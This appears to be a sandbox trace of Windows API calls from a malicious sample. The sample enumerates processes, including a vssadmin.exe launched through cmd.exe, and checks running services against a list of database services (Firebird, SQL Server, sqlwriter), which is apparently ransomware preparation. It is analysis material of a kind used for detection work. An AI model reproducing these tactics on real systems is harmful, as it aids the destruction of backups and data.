	[0056.921] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0056.922] lstrlenW (lpString="allowance.exe") returned 13
	[0056.922] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0056.923] lstrlenW (lpString="conducting affect.exe") returned 21
	[0056.923] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0056.923] lstrlenW (lpString="plaintiff.exe") returned 13
	[0056.923] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0056.924] lstrlenW (lpString="dialog.exe") returned 10
	[0056.924] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0056.925] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0056.925] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0056.925] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0056.926] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0056.926] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0056.926] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0056.927] lstrlenW (lpString="swpesp.exe") returned 10
	[0056.927] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0056.928] lstrlenW (lpString="cmd.exe") returned 7
	[0056.928] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0056.928] lstrlenW (lpString="conhost.exe") returned 11
	[0056.928] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0056.929] lstrlenW (lpString="vssadmin.exe") returned 12
	[0056.929] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0056.930] lstrlenW (lpString="VSSVC.exe") returned 9
	[0056.930] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.931] lstrlenW (lpString="svchost.exe") returned 11
	[0056.931] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0056.931] CloseHandle (hObject=0x158) returned 1
	[0056.931] Sleep (dwMilliseconds=0x1f4) 
	[0057.706] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0660
	[0057.716] EnumServicesStatusExW (in: hSCManager=0x35d0660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0057.717] GetLastError () returned 0xea
	[0057.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ec0068
	[0057.717] EnumServicesStatusExW (in: hSCManager=0x35d0660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ec0068, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ec0068, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0057.721] CloseServiceHandle (hSCObject=0x35d0660) returned 1
	[0057.721] lstrlenW (lpString="Appinfo") returned 7
	[0057.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0057.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0057.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0057.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0057.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0057.721] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0057.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0057.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0057.721] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0057.721] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0057.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0057.721] lstrlenW (lpString="AudioSrv") returned 8
	[0057.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0057.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0057.721] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0057.721] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0057.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0057.721] lstrlenW (lpString="BFE") returned 3
	[0057.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0057.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0057.721] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0057.722] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0057.722] lstrlenW (lpString="CryptSvc") returned 8
	[0057.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0057.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0057.722] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0057.722] lstrlenW (lpString="CscService") returned 10
	[0057.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0057.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0057.722] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0057.722] lstrlenW (lpString="DcomLaunch") returned 10
	[0057.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0057.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0057.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0057.722] lstrlenW (lpString="Dhcp") returned 4
	[0057.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0057.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0057.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0057.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0057.722] lstrlenW (lpString="Dnscache") returned 8
	[0057.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0057.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0057.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0057.723] lstrlenW (lpString="DPS") returned 3
	[0057.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0057.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0057.723] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0057.723] lstrlenW (lpString="eventlog") returned 8
	[0057.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0057.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0057.723] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0057.723] lstrlenW (lpString="EventSystem") returned 11
	[0057.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0057.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0057.723] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0057.723] lstrlenW (lpString="gpsvc") returned 5
	[0057.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0057.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0057.723] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0057.723] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0057.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0057.723] lstrlenW (lpString="iphlpsvc") returned 8
	[0057.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0057.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0057.724] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0057.724] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0057.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0057.724] lstrlenW (lpString="LanmanServer") returned 12
	[0057.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0057.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0057.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0057.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0057.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0057.724] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0057.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0057.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0057.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0057.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0057.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0057.724] lstrlenW (lpString="lmhosts") returned 7
	[0057.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0057.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0057.724] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0057.724] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0057.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0057.724] lstrlenW (lpString="MMCSS") returned 5
	[0057.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0057.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0057.724] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0057.724] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0057.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0057.725] lstrlenW (lpString="MpsSvc") returned 6
	[0057.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0057.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0057.725] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0057.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0057.725] lstrlenW (lpString="Netman") returned 6
	[0057.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0057.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0057.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0057.725] lstrlenW (lpString="netprofm") returned 8
	[0057.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0057.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0057.725] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0057.725] lstrlenW (lpString="NlaSvc") returned 6
	[0057.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0057.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0057.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0057.725] lstrlenW (lpString="nsi") returned 3
	[0057.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0057.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0057.725] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0057.726] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0057.726] lstrlenW (lpString="PcaSvc") returned 6
	[0057.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0057.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0057.726] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0057.726] lstrlenW (lpString="PlugPlay") returned 8
	[0057.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0057.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0057.726] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0057.726] lstrlenW (lpString="Power") returned 5
	[0057.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0057.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0057.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0057.726] lstrlenW (lpString="ProfSvc") returned 7
	[0057.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0057.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0057.726] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0057.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0057.726] lstrlenW (lpString="RpcEptMapper") returned 12
	[0057.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0057.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0057.727] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0057.727] lstrlenW (lpString="RpcSs") returned 5
	[0057.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0057.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0057.727] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0057.727] lstrlenW (lpString="SamSs") returned 5
	[0057.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0057.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0057.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0057.727] lstrlenW (lpString="Schedule") returned 8
	[0057.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0057.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0057.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0057.727] lstrlenW (lpString="SENS") returned 4
	[0057.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0057.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0057.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0057.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0057.728] lstrlenW (lpString="ShellHWDetection") returned 16
	[0057.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0057.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0057.728] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0057.728] lstrlenW (lpString="Spooler") returned 7
	[0057.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0057.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0057.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0057.728] lstrlenW (lpString="swprv") returned 5
	[0057.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0057.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0057.728] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0057.728] lstrlenW (lpString="SysMain") returned 7
	[0057.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0057.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0057.728] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0057.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0057.728] lstrlenW (lpString="Themes") returned 6
	[0057.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0057.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0057.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0057.729] lstrlenW (lpString="TrkWks") returned 6
	[0057.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0057.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0057.729] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0057.729] lstrlenW (lpString="UxSms") returned 5
	[0057.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0057.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0057.729] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0057.729] lstrlenW (lpString="VSS") returned 3
	[0057.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0057.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0057.729] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0057.729] lstrlenW (lpString="WdiServiceHost") returned 14
	[0057.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0057.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0057.729] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0057.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0057.729] lstrlenW (lpString="WdiSystemHost") returned 13
	[0057.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0057.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0057.730] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
